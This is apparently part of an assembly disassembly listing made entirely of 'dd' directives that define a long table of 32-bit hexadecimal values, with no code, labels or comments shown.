		dd 0DF56F2A4h, 614C5DACh, 0FAE92FBFh, 73E96730h, 9BE481BCh
		dd 59682AE4h, 0B48E6755h, 8DB25371h, 0ADD5B6C5h, 9746D126h
		dd 0CE778F35h, 1608E103h, 1540CAB3h, 0C467D2D6h, 0E79C74E9h
		dd 0BA8DE734h, 0ED30714Eh, 8F7D7E4Eh, 703F0A20h, 0EBD94E61h
		dd 2A5FE68Eh, 0DE7DBDF5h, 0D8E70634h, 0A8BFDF42h, 0D9E728EFh
		dd 6FC7BCE1h, 0D4C01ADDh, 0A4F087D9h, 56C89353h, 0C2158231h
		dd 1CCAD38Ah, 431E0168h, 0AC646BFEh, 27E9651Bh,	0B08C991Dh
		dd 38907B66h, 2E862201h, 6E99C6A6h, 84FC707Fh, 0BA972BADh
		dd 652160A4h, 0DA489819h, 0E837C3CBh, 0C3F9534Bh, 98A51F5Fh
		dd 0C9BFFEA8h, 776F9EA5h, 0FAEB6B2Ah, 0BD583C69h, 0AF148015h
		dd 0AB6B32CBh, 39D172D2h, 0E02AC02Ch, 8EBD42C6h, 7C65F03Ah
		dd 882F0AA5h, 0EBF6E24Ch, 0C46BE706h, 4FCBEEF5h, 93D245D0h
		dd 8EF86EB9h, 884DF5DEh, 95AFFD61h, 5B1B0AA3h, 563EAD59h
		dd 1F5D79CDh, 0BBE798B9h, 0FA48C0AAh, 998584BDh, 0C484FAA1h
		dd 78BBB8B5h, 6A146B68h, 0A9C31A38h, 76F6BAC6h,	400039Bh
		dd 2D1AF424h, 0F1799D62h, 726755B8h, 0CB6D2427h, 6285C70Fh
		dd 917ACA62h, 73E88049h, 0A400FF70h, 9DBE2617h,	2DE5DA52h
		dd 0D68821E2h, 0DFBD9DF4h, 0BA53C840h, 58D1DCFFh, 0E67A67F5h
		dd 0F3C1A258h, 4F60CE64h, 2714C1FFh, 0ED34617Ch, 230C17ECh
		dd 0B1A48670h, 0D677C9D6h, 3FE94AEEh, 29362F93h, 451A5B9Ah
		dd 566A2221h, 0A2F5D88Ah, 16007615h, 0A51B91DFh, 0D61EA519h
		dd 0AA084CC0h, 738C373Ah, 6EE60369h, 719C8FDh, 47CC527Bh
		dd 5B2722D8h, 16A30332h, 4CCFFCD1h, 4483C282h, 6C5534AFh
		dd 1452C18Bh, 0A0AEB85h, 492556D1h, 173FEFh, 88EF9EF4h
		dd 8AA1C283h, 3A4B22BFh, 2A5F5D01h, 83F0AA14h, 8EE39B63h
		dd 651678CDh, 0FD5E6AF4h, 0AF30001Ah, 1E527DC2h, 9D1F0FC9h
		dd 33A2903Bh, 51970301h, 9DB88680h, 6209A05Bh, 0B5324325h
		dd 6BFD1B95h, 0B62EF532h, 84E56799h, 614B83DAh,	5AA2B02Fh
		dd 0DB58C487h, 5383EAD7h, 0FDE8942Ah, 0D3E39E32h, 29324EDCh
		dd 77981A6h, 913A927Ch,	0D9E95261h, 5640903Ch, 28E4E9CEh
		dd 0D82426B6h, 0C690A042h, 0C553C0D5h, 0F3E808D6h, 0F1ED1C26h
		dd 0F3250D75h, 51A49529h, 52DADBE6h, 0C7AD6D43h, 588766F1h
		dd 817EC348h, 0C816ACB3h, 98F57EF8h, 6FB3D6B1h,	2772D278h
		dd 0BE71E68Dh, 89E2F5E2h, 3787DC37h, 188A3F62h,	1EC93A88h
		dd 7BF05147h, 21F58EB4h, 76270F40h, 0D4C6D310h,	32D29DA5h
		dd 365ADB43h, 0BFDA1CDEh, 707D0B7Dh, 4EC1D2DBh,	74D57EE3h
		dd 0F58D42A5h, 4EB8AAC6h, 6592D03Fh, 0EED71ACDh, 0E4181A1Ah
		dd 40522FCDh, 0A060A00Eh, 7B859A9Fh, 736C55A0h,	6EA91378h
		dd 0CBA078B1h, 9B0BD63Eh, 2EAA7B41h, 2FA3F0C7h,	0ACBE917Ch
		dd 0A6B6C005h, 0B4D16C94h, 0AA1DA31Ch, 0E54E76C9h, 72F46B64h
		dd 8ED91A24h, 6133E3A1h, 649C7F84h, 51DADB1Bh, 0C6E832E9h
		dd 623FFAACh, 64A56427h, 259EFACEh, 728A6C2Eh, 75B20C5Eh
		dd 0CA8FAF70h, 9C212385h, 32B45482h, 0C63D6675h, 0C0ECF68Bh
		dd 0D2FFAFA8h, 6351C0D8h, 2B230AD9h, 384860C5h,	29AAAEC8h
		dd 0C64D7EBAh, 2EB4FA2h, 5CC5ABDBh, 8633D700h, 0EE9B481Dh
		dd 4FF1CB90h, 94C9386Eh, 42507AF1h, 0EB6DA864h,	8C19C430h
		dd 3A728472h, 22FE8D4Eh, 49F18464h, 5972096Fh, 80F66248h
		dd 0E2169638h, 0ACD50F58h, 0A8F5C6F8h, 0BD165E78h, 293CC4A0h
		dd 0BCC9A3C6h, 2FD06B4Ch, 1BBBBB1Bh, 3EE0457h, 99A23DDFh
		dd 78E52389h, 0FC4F09BFh, 3D27E2DCh, 0FC03781Fh, 0C54A3F42h
		dd 69B832E6h, 22DCDA1Ch, 0F48B2067h, 72BEE713h,	92A618C0h
		dd 0FB982AB3h, 4D0FFA4Dh, 0D8A7F4BBh, 1A8A4BC5h, 0A5B73F8Ah
		dd 0D7AA1174h, 9C765B74h, 0BE66165Eh, 9C0CEED9h, 89360C1Dh
		dd 351C662Dh, 702F7B87h, 9A840676h, 2C8C227Ch, 226F2A53h
		dd 0EC9A19Bh, 0C43D98F1h, 9F69C50Fh, 74909149h,	4F93F218h
		dd 941BCB61h, 85FEE1E0h, 2DBF3D81h, 0CF714CCBh,	57707807h
		dd 0B0D5F455h, 1A0C8979h, 0E787DCC1h, 0A95A61B9h, 55AE22FCh
		dd 9DE85DA7h, 1CF03FA6h, 235F1908h, 964B9FEh, 0F83957FFh
		dd 5909190Eh, 2CE586BBh, 0BDEED5F4h, 645FE6ADh,	0CBEF0297h
		dd 87B8D4BDh, 0AA9EA2EAh, 5FECD7EEh, 2698D358h,	1D3503B5h
		dd 0E68290CFh, 433C9BE8h, 5E08614Eh, 253992CDh,	3B845AC6h
		dd 54C5C6BDh, 6FEC166Eh, 2063222Dh, 3D420420h, 10F53F0Ch
		dd 0FB1618E6h, 0A6B4EBBCh, 8EF287AFh, 3A7C2B67h, 0FF700D15h
		dd 227BE47Dh, 0F4C58D1Dh, 0F2598504h, 3D5B9457h, 0F8F54E57h
		dd 51E7ECB5h, 0A65C0D0Ah, 0B18EF2E3h, 0B8F43E7Ah, 3179E8D7h
		dd 0A379FE5h, 0EBF5C65Ch
		dd 792FEA81h, 86D9A6DEh, 834FA6A6h, 0FA80A046h,	0BD993493h
		dd 0FCD43593h, 94C54D9Fh, 43CF5FDh, 0FA91A0C2h,	44051200h
		dd 80363C49h, 0FC40118Fh, 1B9ECC62h, 0AC012B0Fh, 1A22376Fh
		dd 0E1564E13h, 0D2814B95h, 63B5D0B7h, 22B70C89h, 45EB61EDh
		dd 5B3C544Bh, 51B743F1h, 0C936DAA0h, 531BDA22h,	62DB563Ch
		dd 4BEF8D5Ch, 27704117h, 532EF30Bh, 0BFE5898Fh,	0BA75A1DAh
		dd 337148DDh, 0C3D4F5D1h, 3267E1E8h, 0D0DC002Dh, 0A0C7BB53h
		dd 1171B611h, 0D491FC4Eh, 61AA7528h, 6CEA6908h,	790829CFh
		dd 97C2B8A6h, 273AD7BCh, 0CD123E82h, 152211CCh,	0D86BB729h
		dd 3C8ACC83h, 5AB10951h, 8DBA8FFh, 0B400E986h, 0D1BF32Bh
		dd 1D523CAh, 0B7EE2209h, 8407AD17h, 0F4EDBD1Eh,	72A107A8h
		dd 13CC2064h, 2330D754h, 4BE12149h, 2EA2FDDDh, 77637FD4h
		dd 832713Bh, 2346B113h,	976A4494h, 2B64D7CEh, 19B3E2B1h
		dd 759C0C21h, 7F4501BBh, 561D91Dh, 0E5ABD15Fh, 2DAE4E71h
		dd 0CBB4114Ch, 2F445BF8h, 6A62CC00h, 0CB69610Dh, 0BE7CB84Ah
		dd 197C5598h, 764142ACh, 863E140Bh, 3AD850DAh, 0C1A7875Ch
		dd 0A2711048h, 2D934CF5h, 48EA629Eh, 178B1EB8h,	55151E4Ah
		dd 6D903EF5h, 9D5DAB3Eh, 0CF939226h, 0E4473AD5h, 863EA2B1h
		dd 9E70A0E8h, 0B18F4AF1h, 0E6780E39h, 0C1AD7D4Bh, 860F0CAh
		dd 9A7AEC30h, 0CFF8B65Eh, 0ABA0D4AAh, 10492697h, 7BB00CC4h
		dd 0C408FFEFh, 23C1ECEEh, 0EB5DE4C7h, 0E833F78Ch, 0E64B9CA1h
		dd 0ACDDC8F7h, 71560414h, 532B16B8h, 4C5463AEh,	8BEB522Ch
		dd 5F153ABBh, 2D6F722Dh, 0D89B0A94h, 30296742h,	2369350Bh
		dd 0E9165D22h, 9DC17CAEh, 86532F56h, 0BC899851h, 0EDA79212h
		dd 0B787B31h, 2A342F48h, 0C819CF4h, 0B15384FBh,	0D3BBC03Bh
		dd 30D55A28h, 0EFA84C04h, 0F9A97106h, 564C895Dh, 692AC1E3h
		dd 5825458h, 0F385736Dh, 2EFE51CBh, 0E026B051h,	0F48CAFFDh
		dd 0FC314E92h, 29DCC86h, 0C0C83825h, 15393193h,	3E544Bh
		dd 0EEE18DEDh, 0F8A671FBh, 0F29DE849h, 322D7913h, 5A5060FCh
		dd 64760AE9h, 0DDC2A0E1h, 27BAE410h, 89AED50Ch,	19FA8A4Ah
		dd 8EC117D8h, 0B2A62CD5h, 0DFDC695Ch, 8FF8B286h, 69D91BE9h
		dd 0D519D10Ch, 99F562A0h, 9BE66D9Fh, 4AC5E301h,	2C5AF0BAh
		dd 661C8829h, 5F7C624Fh, 5EA1933Bh, 0C391E3BAh,	0C6AC4427h
		dd 16C39482h, 3295F5Ah,	0BCBF832Bh, 0DE987B2Ch,	1058C47Ah
		dd 0CB130BA7h, 2E22ABF2h, 0D9EB48C4h, 1235D688h, 0C506E6A4h
		dd 2E2975E8h, 67589F9Ch, 0AE3C995Ah, 5A7ADDFCh,	8493563Dh
		dd 3A8124BCh, 8989D64Eh, 41BE71CCh, 0C1363102h,	1803815Bh
		dd 4C696F4Bh, 1C87C2h, 44BEFBB1h, 5623FF44h, 0CB4EF0CFh
		dd 252559h, 9B8C9EC1h, 492AA207h, 26ACB8h, 89E426BCh, 0E97FE9BEh
		dd 6DD3C0A7h, 1677EFA4h, 62E659BBh, 8941A566h, 0F90C4D6Eh
		dd 186D3481h, 4C6A4228h, 0D07E65Eh, 7D88B96Ah, 8C5ECAEBh
		dd 0A08C0649h, 29A9F28Ah, 3ADFBC0Fh, 0B6F5F0E8h, 0EF42C39Dh
		dd 0FAC1AB58h, 9D00885Ch, 54AA1F02h, 1DB66E0Bh,	0DE93E65Bh
		dd 0F32C36D0h, 806E7E72h, 2F549575h, 0FA1F3F56h, 0EB65C16Bh
		dd 0E212E03Ch, 0DEC2DB13h, 0D140D72h, 1EA54EC5h, 8BCFC8B1h
		dd 0A528096Ah, 9513EAB0h, 0F79672E1h, 809E16BAh, 0E58419A8h
		dd 11015D4Ch, 0D949EFECh, 5C393158h, 4133F64Dh,	1A2B5F1Ah
		dd 99EF0BD8h, 8DCBFDD1h, 0A0FBE54h, 0DC5B677Dh,	794CC3Dh
		dd 54A82E29h, 0F5F35535h, 8A693B8Eh, 456C3F54h,	63D5A589h
		dd 0D00E9AA4h, 0A4700199h, 0A6F92063h, 0AE1D9171h, 9627A40h
		dd 3A975CDCh, 364BD87h,	750F8526h, 0CE373033h, 1384773Fh
		dd 0E2923D6Dh, 281D0121h, 6DFBFEDCh, 3E7EA492h,	68DEB09Eh
		dd 0C735DC11h, 5096186Bh, 484C1290h, 0F9912A36h, 0CD3A1F62h
		dd 9F70513Ch, 8AD9D9DBh, 7EE970F3h, 626BE4D2h, 7C004FDCh
		dd 86402B7Ah, 0F8608227h, 4460EEE6h, 8E7BE9EDh,	0BEBD3DAAh
		dd 0B31AF9A6h, 0D2964422h, 99ADFDCBh, 1193230Fh, 248ECF44h
		dd 30BC91D0h, 0D6C84A82h, 7673739Ah, 0DCB06062h, 0E799D5FDh
		dd 4615CAE0h, 93277FBDh, 68D9A5A3h, 5028214Eh, 44F6D602h
		dd 5E0AF956h, 53F2F6A8h, 0C576624Fh, 1834A353h,	0C798D554h
		dd 0D9FAB375h, 8107CAAEh, 0BEEF0D39h, 9762DDE1h, 26F96324h
		dd 9CC8899Dh, 9A9404BCh, 6981589Dh, 0D46B85F7h,	0A5E49442h
		dd 0F423FAC6h, 8EE980FDh, 0E973863Ah, 751A59ADh, 0EA9E2C7Dh
		dd 45C9D35h, 4BAC2F2Fh,	261D2B6h, 0EF2A0593h, 0B8B8A7FAh
		dd 288BB8BCh, 5B8BBA37h, 0C8FDDD4Dh, 3ECF3796h,	9DB32159h
		dd 8AD0740Eh, 8B0069C3h, 0B1EF4B05h, 1E3993DBh,	612FA48Bh
		dd 707D1EFBh, 3DEBDE40h, 74D98BF6h, 0C5F5E935h,	9F69DEE4h
		dd 7A61B2D6h, 2D854E3Eh, 36099EC1h, 7AFF014Bh, 612857BFh
		dd 0F370E40Fh, 7A703571h, 9A4043A1h, 412DFB0Bh,	0B0EA452Fh
		dd 0C2E3D840h, 9FB48CF6h, 671E2982h, 0B3F8BC47h, 0BD902D25h
		dd 275EB587h, 0AFFA4D9Bh, 0CB7603B9h, 1574A302h, 8F83D7B4h
		dd 0D05902B3h, 419D8D1Bh, 0FCC5AA1Bh, 4B50C386h, 3EBE41C6h
		dd 0F618732Fh, 402019FAh, 209D1C07h, 2869EDB9h,	0AD9EA18Eh
		dd 528CCA16h, 41396DA6h, 6AB53D8Ah, 58BB9A26h, 0C4AEA836h
		dd 95D48FB9h, 197DB42h,	3F33DEBAh, 4F84404Dh, 767A891Eh
		dd 0ACF4ABAAh, 74D6C682h, 53C5A6E7h, 6587744h, 0E67B016Bh
		dd 0EDA07B11h, 663D2B7h, 69221297h, 623E8033h, 0BB534B79h
		dd 393CC6DEh, 5D8C47B6h, 402610A6h, 5B0DDAA6h, 0E8CE8AE5h
		dd 6B7C35D0h, 512A5692h, 7EA7CA8Fh, 9EF17D66h, 664DEE52h
		dd 0C5E33E78h, 62EAD33h, 1C22E089h, 0A6A599Fh, 213F9F39h
		dd 0B97AFEF2h, 93ABC06Dh, 0B4760777h, 1387DA16h, 0E0DFE340h
		dd 78701D19h, 32167BA3h, 3655E85Fh, 0E9AA6ADEh,	94CADABAh
		dd 5EC8BB2Eh, 0B9C664B8h, 0AB4685BCh, 0D41AE33Bh, 0F0E5FDEDh
		dd 1A1EDE48h, 0E4EE0835h, 7C4198FEh, 0A0865092h, 0AB398D23h
		dd 0F369D92h, 0F705B04Dh, 5A37C50Ch, 0E333D448h, 82683028h
		dd 0CDAE0CE5h, 1815AC92h, 0D7E5ADCBh, 63175F17h, 3F544ADDh
		dd 0BEC797D1h, 0E7DCAC67h, 19896371h, 0ADF9B4B6h, 7A2AC415h
		dd 66BA3FDDh, 247B2779h, 0A1D48F50h, 7310F887h,	897A46E1h
		dd 72E29B4h, 8B25B622h,	41B967h, 0A1C1470Ah, 0A34C795Ch
		dd 60AF5Fh, 0FF1B19B8h,	0C57BBC33h, 0F2A37457h,	0FC7FE760h
		dd 0DCE0A4B6h, 0AC3CFEDh, 3EE7A400h, 0A3ACF81Ah, 737C34D4h
		dd 0E0245612h, 15BEA75Bh, 0C8AD540Bh, 386230CCh, 359F648Fh
		dd 0D126A9D4h, 48A1174h, 158DBA40h, 0FC70ED2Dh,	0C6D47378h
		dd 0F383DF13h, 23E9AC86h, 0F84019F6h, 13F9ECF8h, 53D8C551h
		dd 0B271EBD9h, 574961E6h, 35539B34h, 6B50E2ACh,	627D2EDAh
		dd 96FE20FBh, 5E9D1FD1h, 3D4555A8h, 68FAC7AEh, 20B4011Bh
		dd 5562A067h, 0DCFA35FEh, 82318291h, 0F4C8E72Fh, 9188C991h
		dd 60503F69h, 468CDDDh,	15ADA2AEh, 6A721E78h, 0A33EE6C5h
		dd 5B82CAEBh, 0A14FDD0Bh, 0C2EA40CEh, 0D13335E7h, 540F0DC3h
		dd 0CFFC28FBh, 0EAC774Ah, 32149B5h, 0B5CACD30h,	0F2027E02h
		dd 0F96F07B4h, 0F884CE82h, 0B7264553h, 46C1113Dh, 0FD15793h
		dd 0F40585CDh, 0C0B29999h, 0DFA24B59h, 3F5F0968h, 20902F2Dh
		dd 37ADBEA0h, 0B4AA0D47h, 2AACFDCDh, 85003F93h,	0D438ACA4h
		dd 35B497D9h
		dd 46ADD325h, 0F6D7C164h, 389270D7h, 0D76DC9Ah,	59A60BACh
		dd 0E9F6A462h, 9C49F220h, 81D12251h, 0F41B41CEh, 4E68B502h
		dd 0CFE80176h, 7B160CD4h, 9E571EBAh, 83F1EC85h,	2A824F1Fh
		dd 2310C229h, 0B6260860h, 6C723AF1h, 1A23FEA4h,	0A5C87C4Bh
		dd 9C422190h, 0EB5F3F6Ch, 5F11DEBEh, 41E42ECh, 5644B9E2h
		dd 4368AF50h, 0A4566527h, 0A85379Ch, 7624842h, 73748EE1h
		dd 615218BAh, 3EA71F6Ah, 278C2583h, 0BFE89A5Ch,	1FFF1C95h
		dd 0CD12E367h, 5C1C83A8h, 1559F6B0h, 0FDD960E7h, 0BCBC3D24h
		dd 0D7B8A854h, 0D1238A6Ch, 1C4AB9DDh, 68C4B01Fh, 0B1879903h
		dd 0F49C4FA6h, 0C6E9327h, 0FF8E512Ch, 9E7EC65Ah, 0ADD999CAh
		dd 609B5906h, 6716E234h, 0B47CBBD0h, 7D549F5Bh,	95A16BC6h
		dd 1439F077h, 373DAFA7h, 0A4AA8C9Eh, 37FD5E84h,	0C3CE8DEFh
		dd 6C83CEA7h, 27705F63h, 0C4886878h, 0AE2C1A4Eh, 3A4222A3h
		dd 94DE88B5h, 2DE0B7AEh, 9A69AC98h, 0BBAD8930h,	0CB2F58E6h
		dd 48454D54h, 0C5485E9Fh, 5421213Eh, 5FF8714Ch,	9349CFE6h
		dd 805E1A57h, 3E2EE52Fh, 0EA7FCF9h, 0C56E6B80h,	657C0DC3h
		dd 4F0F43F3h, 8D63EA01h, 0EDD3EBB4h, 8F191759h,	0B1FA3C0Dh
		dd 5734E914h, 69EBDDF8h, 9BA23A14h, 701722CDh, 0F8296DEBh
		dd 54115075h, 0CB67A744h, 4CFD121Ah, 0BFDA83F3h, 0F7223D97h
		dd 9AB66D65h, 0BC5E611Eh, 4A496E8Fh, 3A34E314h,	934314C7h
		dd 3428AA63h, 9D21F2F0h, 0D4ED1EB3h, 0C70D775Ch, 977EEE61h
		dd 0FF4B4A0Bh, 78EC42CEh, 0D79975E8h, 717BA663h, 0D96395B3h
		dd 2AE7DB54h, 0D560AA2Dh, 0A0917984h, 0AFF6E83Ah, 993D1012h
		dd 0C813D085h, 6EC683A1h, 0B4DECADh, 359128F4h,	0D8B4825Fh
		dd 0A7478B21h, 2F44EE08h, 0D8572789h, 0FC565D4h, 1A2EAB5Ch
		dd 0CCF0D8DDh, 0FB6C6C8Bh, 877537CEh, 2BC6ED21h, 5032828Fh
		dd 6149394Eh, 2A5589Bh,	64BCC073h, 76AE0CAEh, 59456B09h
		dd 0AB942E43h, 717C21C6h, 0B0277ED2h, 4DA91E34h, 2D0F0857h
		dd 633B68F3h, 0EC424100h, 16853B88h, 0EF4E9BB8h, 0C3BF7199h
		dd 208C751Eh, 0BC931E28h, 0ABD69C5Dh, 0B1C03896h, 146533F7h
		dd 28760D26h, 0D1334B03h, 0D006B79Dh, 752F6D37h, 538D317Ah
		dd 0F51987C9h, 0E19CF664h, 690B9538h, 80C84C9Fh, 3E90A9E0h
		dd 4C160468h, 230DCA40h, 0FD9BF162h, 0CDF2B452h, 0FBF9C638h
		dd 852D323Bh, 7A3A1E8Ah, 0A525FCB1h, 787B9369h,	0D1F9ECF3h
		dd 0BC154EA5h, 82ACB58Eh, 0CE6FA7FEh, 0ECEF0AA3h, 6DF8D8ECh
		dd 513CF235h, 2451AE73h, 0F080CE25h, 7411868Bh,	56FFEEB5h
		dd 4790056h, 88A5E72Eh,	14BA88h, 31B60FBDh, 0F243231Eh
		dd 27752948h, 2758BD10h, 0C4BD54F1h, 617A6BB8h,	0B6D65690h
		dd 83060101h, 0A0003A31h, 0B8932AA4h, 70F3E30Eh, 14F3DD5Eh
		dd 5FA3B7ECh, 42EE2457h, 0AEAED5CEh, 0DAC061EDh, 79D421Ah
		dd 2D9C69D6h, 94D0E16Ch, 3AB215BCh, 0E191550Fh,	3E33E240h
		dd 3FAE0252h, 0D47C6B49h, 0CEFDF5B6h, 56C23CD0h, 5E0655EDh
		dd 0FFF638C1h, 658F6C25h, 49E9CB00h, 652F5F96h,	1FC635BFh
		dd 0D8F05F6Ch, 0C6FBB20h, 0E9373B9Bh, 1D473055h, 0FB0C4BF1h
		dd 3D651898h, 6C9DB5E8h, 4F8E58AAh, 0BE2FDD98h,	0EA204994h
		dd 104BEBC9h, 0ED3B696Ah, 0F5F2BDD2h, 0C2FA6E78h, 0FFB6188Fh
		dd 797F9C5Bh, 53B2A549h, 6053D556h, 88B3B26Bh, 0F01AB58Bh
		dd 3CDCB613h, 0F2FB1D4h, 31905134h, 0F5C7AA47h,	26C45372h
		dd 4D910A27h, 932B782Ah, 568C790Ah, 0EE69D951h,	67460890h
		dd 8590723Dh, 0D61E357Dh, 48D7E597h, 9B9F7823h,	0EB8EBF28h
		dd 5BD06969h, 584BF200h, 591F3790h, 6B13B02Dh, 1776882Ch
		dd 66962E9Ah, 0B8AA4AA4h, 10D2940Fh, 0AA9CE95Eh, 0E457F3E7h
		dd 934D489Eh, 74319711h, 0D0BA3494h, 253CF8F7h,	0F4A9CEF6h
		dd 98C31D52h, 3AE417A5h, 0B86680A3h, 61FE077h, 53B9F2B8h
		dd 69B77E6Bh, 83C28C41h, 38C2A0E9h, 0CC7220B5h,	0E62FE36Dh
		dd 7ABC09B9h, 0F07ACF00h, 0DA33FF8Fh, 382F03BAh, 38EC4A20h
		dd 8E7FAF4Bh, 0B53A9274h, 16BD855Fh, 5FB367Fh, 9A0C0DEEh
		dd 878E2A27h, 1A6000C2h, 3E81518Ch, 0AA617C68h,	307801C9h
		dd 9D06606Ah, 20DE948h,	0B3C6AEBDh, 6D26A935h, 0A19080C7h
		dd 0BA14DEEh, 0A6EBBB6Dh, 2E9E4EF4h, 0A9E0041Eh, 0FA344B21h
		dd 0B7379926h, 0AC4751F4h, 6A39D4D2h, 0D6B4589Dh, 0F8A3D3A5h
		dd 855C602Eh, 69CE1D0Bh, 0E97E3E87h, 1DF90854h,	0FB158BB4h
		dd 0D261647Eh, 0B799F207h, 96DCE8FEh, 3FC45A50h, 1BDE8695h
		dd 0DA9C9C37h, 14F1A248h, 0CFD0CFEEh, 5046845Bh, 0A19CB3CFh
		dd 0D48E8AF4h, 69A223E7h, 0ED1C1A36h, 3ADB5FFCh, 6E2937h
		dd 0FC245FE6h, 791CBD04h, 9F6284B2h, 1C61EE8Dh,	4E78D2AAh
		dd 0E8C5B708h, 796E04F8h, 51A71F8Ch, 5457AA78h,	0DC726BDFh
		dd 1ECA9108h, 8BC2430Dh, 2A72EF14h, 0D17FF452h,	813CACB7h
		dd 633F9C16h, 0E2BBA65h, 45F08FC0h, 8A1B30F1h, 0C417B822h
		dd 1F116CEEh, 82191535h, 85674898h, 8719D8ABh, 9F6EF8AEh
		dd 0F544E87Bh, 41DD757Eh, 8DC2CA86h, 0DFB4EB4Ch, 6793E395h
		dd 0F50A366Bh, 133B5F65h, 0CBF3A3FAh, 0D66F4841h, 0CB89C6E5h
		dd 12BE3FBCh, 8D8DB52Fh, 46EF43DDh, 0EEB1A80Ah,	8E14553Ah
		dd 6747A9ECh, 0EF835173h, 4F65250h, 0FFE786C4h,	0D22200D6h
		dd 0B66575C5h, 5B91DED4h, 6B6073ABh, 1CC4676Bh,	52F549DEh
		dd 7A52A4BBh, 2181A4E7h, 0F303EAA3h, 1C07F61Ch,	87185AF4h
		dd 0F16E8AC0h, 2005A8A1h, 29B3D138h, 0A3E247D8h, 34E466BDh
		dd 0D6189404h, 732CD05Dh, 6BA10E80h, 5D999311h,	3E0CE7F6h
		dd 0BEDCE034h, 8B218AFEh, 72F17841h, 0E26D05E0h, 0AD8DEF16h
		dd 9889E07Ah, 7CCBDBBAh, 733873B9h, 0AA3B83A0h,	0B7E89C53h
		dd 0CFB4FA02h, 30067A65h, 684DC3C2h, 8E77C8DCh,	60772B00h
		dd 8E4DF8D1h, 0C5F3772Fh, 4504B294h, 1E56308Dh,	0C677A8B7h
		dd 0F46E273Ah, 0C7E5EC15h, 0A2766B8h, 0B305E5B8h, 0F539F669h
		dd 82C8E8F0h, 2C23D40Ah, 0CE3015D3h, 0BDE9F573h, 0ED0CEA50h
		dd 90BFCE5Ch, 0B5283C9Ch, 8DE6B331h, 0D496B93Eh, 7FF2D47Dh
		dd 4A275DF1h, 50571D34h, 8734B72Ch, 6893D01Fh, 0B09CBE14h
		dd 0FCEB50B1h, 3974444Bh, 21972E09h, 41FDA020h,	0EE474571h
		dd 0B27812EDh, 567AF847h, 1C91F8D1h, 0DFA91EC5h, 0A4EFE2A3h
		dd 8C941AE9h, 5D931984h, 33B2B45Ch, 139103AFh, 0BA2C5405h
		dd 561E5CE6h, 0D4694616h, 5EB7B840h, 0D4B5BA25h, 73E01143h
		dd 8D382C4Fh, 1629ED42h, 50975FADh, 2FE7E7DAh, 64402BB9h
		dd 40725D34h, 0BA561A7Dh, 45E1ABBEh, 0A78D1ACDh, 0E60BB1E2h
		dd 0E3531CDBh, 0A1264A3Bh, 4BA06B4Fh, 3ECF769Ah, 0DB15652Dh
		dd 4ADA26D7h, 0B93D83BAh, 0DFC27436h, 4B00DB2Fh, 0ADAF36C4h
		dd 0B7FF8822h, 0B7F90D94h, 0B2221F5Dh, 15147324h, 714C8EBAh
		dd 0B6CC9FCh, 92A11D67h, 28CE37A1h, 0E64ED62Eh,	0B9161C8Ah
		dd 0B11FA946h, 2A36EC6Bh, 5DAA3EADh, 950DCB6Dh,	6B4CB7E5h
		dd 787F1BE7h, 42E69D7Bh, 6B10C7Ch, 0DCEB0C9Dh, 175BB540h
		dd 80DF4881h, 0E536678h, 0E924A8D2h, 0C77411A2h, 0E9F1AE7Fh
		dd 21DA2FAEh, 37078597h, 5A1550A0h, 0E188BA67h,	7E0A2E94h
		dd 0DBADABA8h, 0D5EEE730h, 3FCA1FE8h, 0B8F98847h, 373EDEA9h
		dd 3C51A6E5h, 0C4515229h, 850B45CAh, 9ED93E6Ch,	0E0D61CE5h
		dd 8D3AA8EEh, 21AA7859h
		dd 0CC78C40Eh, 48B99055h, 65BBC462h, 8E5859D5h,	4C82681Eh
		dd 8649CF52h, 0DFC68378h, 0AC22C8F0h, 0F6A75381h, 0E709E43h
		dd 0E7020B08h, 6A87C207h, 0A6A074A8h, 8729EDF7h, 0B3D8948Eh
		dd 0A8A0743Bh, 69318324h, 77513EABh, 0AF12EBD0h, 9286ECE0h
		dd 16C1324Dh, 4A5936C4h, 0A5D842ABh, 305E1224h,	6FA87AB0h
		dd 0F3A45663h, 7F9D900Ah, 63E6F2F3h, 4123B4B7h,	139D9ED8h
		dd 4FA11D4Ch, 11399E0Eh, 27FE60D9h, 0B042260Ah,	0A7AD21A7h
		dd 0D615D192h, 0D9B09CCEh, 3673D0A5h, 48E6C374h, 968C8997h
		dd 32FF457h, 37D3B559h,	0B51AC3B3h, 0B5557554h,	22C258DFh
		dd 93F4412Ah, 7E50796h,	0D5A1589Bh, 0BFA7D6ACh,	1D88E950h
		dd 223B1C3h, 0CDE4617Bh, 26AA6F35h, 285DDFC6h, 29E4317Fh
		dd 9443A4D6h, 1CB8CE3h,	75C88E11h, 327F00D1h, 7FFDE6Fh
		dd 0C853F7E7h, 0CC3BAFEBh, 91EB3E77h, 2A97A081h, 2F95D58Fh
		dd 4A1DDD40h, 7431F5BAh, 0DA5DF3AFh, 0DF6D1C28h, 2B9D29E5h
		dd 82BB381Ah, 63F9A522h, 0D7B2C4A2h, 583B06BDh,	7DE1FB10h
		dd 6BDE07E6h, 3EFBE4D9h, 6C57406Ch, 0BF69645Dh,	65B09593h
		dd 0EC14BCE6h, 8CCE9EEEh, 0F6649A5h, 782A5243h,	9D79FCFEh
		dd 48B3B888h, 0C3561BABh, 5C79FFABh, 9053BD7Ch,	0F3F132B2h
		dd 0BB637C8Ah, 0E3AF8C13h, 0BEDEAA4Eh, 1C3A71FBh, 7A9ECBABh
		dd 0A97C0FD9h, 18D5F6CFh, 2AB3B379h, 0F50CDD9Ch, 450E55A6h
		dd 0A2D24F5Ah, 2D64ECBh, 461F512Fh, 678F764Fh, 0FF8D76EAh
		dd 6BF3B560h, 556F9F6Ch, 188DE1BCh, 0B2E2FE70h,	104D3599h
		dd 3B4A2120h, 499DCF46h, 0F6EB8668h, 625A4E5h, 0C34D9FE4h
		dd 5BF2A26Ch, 38CE5A8h,	0C7AB8112h, 0C1A9EC68h,	4EC99EA8h
		dd 0E03F20EAh, 0DB2F41E0h, 77689876h, 0D5ED81BFh, 6111981Ch
		dd 0C55EF67Eh, 3C34713Fh, 21A8F68Bh, 0D4C53A59h, 0AFFCBB89h
		dd 0C826F902h, 8BA2E805h, 2444A209h, 51CC1D9h, 351C829Ah
		dd 0BAE2677Dh, 19AA6505h, 0F51BD240h, 0A5A20245h, 0EBA2C763h
		dd 0D9CB295Bh, 99BDEDE9h, 0BD229489h, 3ECAB9EEh, 0CB96ECDBh
		dd 961D8906h, 0E3EE4E5Bh, 95CC0C37h, 0F8AD3Fh, 197E00CDh
		dd 0E1C07D28h, 0B480FC96h, 6FD3D3F5h, 0DAA573DBh, 69985CBAh
		dd 608135F0h, 11D5FA24h, 10A59F5Bh, 0FAA026F9h,	6169738Dh
